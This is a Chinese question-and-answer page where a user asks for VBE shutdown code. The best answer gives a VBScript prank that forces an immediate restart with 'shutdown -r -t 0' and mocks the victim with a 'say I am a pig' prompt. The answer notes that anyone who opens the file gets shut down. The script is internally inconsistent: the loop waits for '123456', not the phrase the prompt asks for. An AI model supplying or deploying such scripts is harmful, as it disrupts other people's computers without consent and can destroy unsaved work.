永发信息网

谁有vbe格式自动关机的代码

答案:1  悬赏:30  手机版
解决时间 2021-02-14 17:53
  • 提问者网友:人傍凄凉立暮秋
  • 2021-02-14 14:01
我只要那一堆代码 其他的我都会 以前弄过 但代码没了 就是建个文档,然后把exe改成vbe 但代码我忘了 只用说代码 其他的都不要
最佳答案
  • 五星知识达人网友:人類模型
  • 2021-02-14 15:10
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""说我是猪,不说我是猪就二分针关你机,不信,试试···"" ",0 ,true dim a do while(a <> "123456") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "真明智" 只需要把 shutdown -r -t 0 -c 中 t 后面的数字改为0就行了,别人一打开就关机 也可以把t后面的数字改成别的,改成10,就是10秒关机
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯